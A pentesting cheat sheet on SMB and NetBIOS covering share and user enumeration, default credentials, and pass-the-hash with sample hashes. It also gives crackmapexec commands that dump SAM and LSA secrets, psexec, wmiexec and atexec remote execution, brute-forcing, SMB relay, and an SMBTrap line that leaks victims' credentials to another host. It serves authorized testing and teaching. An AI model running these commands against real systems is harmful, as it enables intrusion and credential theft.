# 139,445 - Pentesting SMB

## **Port 139**

**NetBIOS** stands for _Network Basic Input Output System_. It is a software protocol that allows applications, PCs, and Desktops on a local area network \(LAN\) to communicate with network hardware and to transmit data across the network. Software applications that run on a NetBIOS network locate and identify each other via their NetBIOS names. A NetBIOS name is up to 16 characters long and usually, separate from the computer name. Two applications start a NetBIOS session when one \(the client\) sends a command to “call” another client \(the server\) over **TCP Port 139**. \(extracted from [here](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for)\)

```text
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
```

## Port 445

While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. **SMB** stands for ‘**Server Message Blocks**’. Server Message Block in modern language is also known as **Common Internet File System**. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.

For instance, on Windows, SMB can run directly over TCP/IP without the need for NetBIOS over TCP/IP. This will use, as you point out, port 445. On other systems, you’ll find services and applications using port 139. This means that SMB is running with NetBIOS over TCP/IP**.** \(extracted from [here](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for)\)

```text
445/tcp   open  microsoft-ds  Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```

### IPC$ share

From book _**Network Security Assessment 3rd edition**_

With an anonymous null session you can access the IPC$ share and interact with services exposed via named pipes. The enum4linux utility within Kali Linux is particularly useful; with it, you can obtain the following:

* Operating system information
* Details of the parent domain
* A list of local users and groups
* Details of available SMB shares
* The effective system security policy

## What is NTLM

If you don't know what is NTLM or you want to know how it works and how to abuse it, you will find very insteresting this page about [**NTLM** where is explained **how this protocol works and how you can take advantage of it**](../windows/ntlm/).

## **Enumeration**

### **Scan** a network searching for hosts:

```bash
nbtscan -r 192.168.0.1/24
```

### SMB server version

To look for possible exploits to the SMB version it important to know which version is being used. If this information does not appear in other used tools, you can:

* Use the **MSF** auxiliary module \_**auxiliary/scanner/smb/smb\_version**  
* **\*\*\_Or** this script\*\*:

```bash
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
```

### **Search exploit**

```bash
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
```

### **Possible** Credentials

| **Username\(s\)** | **Common passwords** |
| :--- | :--- |
| _\(blank\)_ | _\(blank\)_ |
| guest | _\(blank\)_ |
| Administrator, admin | _\(blank\)_, password, administrator, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| test, lab, demo | password, test, lab, demo |

### Obtain information

```bash
#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
nmap --script "safe or smb-enum-*" -p 445 <IP>

#Connect to the rpc
rpcclient -U "" -N <IP> #No creds
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb  --pw-nt-hash
#You can use querydispinfo and enumdomusers to query user information

#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>

#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
```

### **Enumerating LSARPC and SAMR rpcclient**

**Pat of this section was extracted from book "**_**Network Security Assesment 3rd Edition**_**"**

You can use the Samba **`rpcclient`** utility to interact with **RPC endpoints via named pipes**. The following lists commands that you can issue to SAMR, LSARPC, and LSARPC-DS interfaces upon **establishing** a **SMB session** \(often requiring credentials\).

#### Users enumeration

* **List users**: `querydispinfo` and `enumdomusers`
* **Get user details**: `queryuser <0xrid>`
* **Get user groups**: `queryusergroups <0xrid>`
* **GET SID of a user**: `lookupnames <username>`
* **Get users aliases**: `queryuseraliases [builtin|domain] <sid>`

#### Groups enumeration

* **List groups**: `enumdomgroups`
* **Get group details**: `querygroup <0xrid>`
* **Get group members**: `querygroupmem <0xrid>`

#### Aliasgroups enumeration

* **List alias**: `enumalsgroups <builtin|domain>`
* **Get members**: `queryaliasmem builtin|domain <0xrid>`

#### Domains enumeration

* **List domains**: `enumdomains`
* **Get SID**: `lsaquery`
* **Domain info**: `querydominfo`

#### More SIDs

* **Find SIDs by name**: `lookupnames <username>`
* **Find more SIDs**: `lsaenumsid`
* **RID cycling \(check more SIDs\)**: `lookupsids <sid>`

| **Command** | **Interface** | **Description** |
| :--- | :--- | :--- |
| queryuser | SAMR | Retrieve user information |
| querygroup | Retrieve group information |  |
| querydominfo | Retrieve domain information |  |
| enumdomusers | Enumerate domain users |  |
| enumdomgroups | Enumerate domain groups |  |
| createdomuser | Create a domain user |  |
| deletedomuser | Delete a domain user |  |
| lookupnames | LSARPC | Look up usernames to SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) values |
| lookupsids | Look up SIDs to usernames \(RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9) cycling\) |  |
| lsaaddacctrights | Add rights to a user account |  |
| lsaremoveacctrights | Remove rights from a user account |  |
| dsroledominfo | LSARPC-DS | Get primary domain information |
| dsenumdomtrusts | Enumerate trusted domains within an AD forest |  |

To **understand** better how the tools _**samrdump**_ **and** _**rpcdump**_ works you should read [**Pentesting MSRPC**](135-pentesting-msrpc.md).

### GUI connection from linux

#### In the terminal:

`xdg-open smb://cascade.htb/`

#### In file browser window \(nautilus, thunar, etc\)

`smb://friendzone.htb/general/`

### List shared folders

It is always recommended to look if you can access to anything, if you don't have credentials try using **null** **credentials/guest user**.

```bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
smbmap -H <IP> [-P <PORT>] #Null user
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
```

### **Connect/List a shared folder**

```bash
#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls'  to list recursively with smbclient

#List with smbmap, without folder it list everything
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
```

### **Manually enumerate windows shares and connect to them**

It may be possible that you are restricted to display any shares of the host machine and when you try to list them it appears as if there aren't any shares to connect to. Thus it might be worth a short to try to manually connect to a share. To enumerate the shares manually you might want to look for responses like NT\_STATUS\_ACCESS\_DENIED and NT\_STATUS\_BAD\_NETWORK\_NAME, when using a valid session \(e.g. null session or valid credentials\). These may indicate whether the share exists and you do not have access to it or the share does not exist at all.

Common share names for windows targets are

* C$
* D$
* ADMIN$
* IPC$
* PRINT$
* FAX$
* SYSVOL
* NETLOGON

\(Common share names from _**Network Security Assessment 3rd edition**_\)

You can try to connect to them by using the following command

```bash
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
```

or this script \(using a null session\)

```bash
#/bin/bash

ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')

for share in ${shares[*]}; do
    output=$(smbclient -U '%' -N \\\\$ip\\$share -c '') 

    if [[ -z $output ]]; then 
        echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
    else
        echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
    fi
done
```

examples

```bash
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
```

### Mount a shared folder

```bash
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```

### **Download files**

Read previous sections to learn how to connect with credentials/Pass-the-Hash.

```bash
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
```

```bash
#Download all
smbclient //<IP>/<share>
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory
```

Commands:

* mask: specifies the mask which is used to filter the files within the directory \(e.g. "" for all files\)
* recurse: toggles recursion on \(default: off\)
* prompt: toggles prompting for filenames off \(default: on\)
* mget: copies all files matching the mask from host to client machine

\(_Information from the manpage of smbclient_\)

### Read Registry

You may be able to **read the registry** using some discovered credentials. Impacket `reg.py` allows you to try:

```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
```

## Authenticate using Kerberos

You can **authenticate** to **kerberos** using the tools **smbclient** and **rpcclient**:

```bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
```

## **Execute**

### **crackmapexec**

crackmapexec can execute commands **abusing** any of **mmcexec, smbexec, atexec, wmiexec** being **wmiexec** the **default** method. You can indicate which option you prefer to use with the parameter `--exec-method`:

```bash
apt-get install crackmapexec

crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}

crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute
```

### [**psexec**](../windows/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows/ntlm/smbexec.md)

Both options will **create a new service** \(using _\pipe\svcctl_ via SMB\) in the victim machine and use it to **execute something** \(**psexec** will **upload** an executable file to ADMIN$ share and **smbexec** will point to **cmd.exe/powershell.exe** and put in the arguments the payload --**file-less technique-**-\).  
**More info** about [**psexec** ](../windows/ntlm/psexec-and-winexec.md)and [**smbexec**](../windows/ntlm/smbexec.md).  
In **kali** it is located on /usr/share/doc/python3-impacket/examples/

```bash
#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```

Using **parameter**`-k` you can authenticate against **kerberos** instead of **NTLM**

### [wmiexec](../windows/ntlm/wmicexec.md)/dcomexec

Stealthily execute a command shell without touching the disk or running a new service using DCOM via **port 135.**  
In **kali** it is located on /usr/share/doc/python3-impacket/examples/

```bash
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```

Using **parameter**`-k` you can authenticate against **kerberos** instead of **NTLM**

```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```

### [AtExec](../windows/ntlm/atexec.md)

Execute commands via the Task Scheduler \(using _\pipe\atsvc_ via SMB\).  
In **kali** it is located on /usr/share/doc/python3-impacket/examples/

```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
```

## Impacket reference

[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)

## **Bruteforce users credentials**

**This is not recommended, you could block an account if you exceed the maximum allowed tries**

```bash
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce eachusername
```

## SMB relay attack

This attack uses the Responder toolkit to **capture SMB authentication sessions** on an internal network, and **relays** them to a **target machine**. If the authentication **session is successful**, it will automatically drop you into a **system** **shell**.  
[**More information about this attack here.**](pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)

## SMB-Trap

The Windows library URLMon.dll automatically try to authenticaticate to the host when a page tries to access some contect via SMB, for example: `img src="\\10.10.10.10\path\image.jpg"`

This happens with the funcions:

* URLDownloadToFile
* URLDownloadToCache
* URLOpenStream
* URLOpenBlockingStream

Which are used by some browsers and tools \(like Skype\)

![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](../.gitbook/assets/image%20%28273%29.png)

### SMBTrap using MitMf

![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](../.gitbook/assets/image%20%28116%29.png)

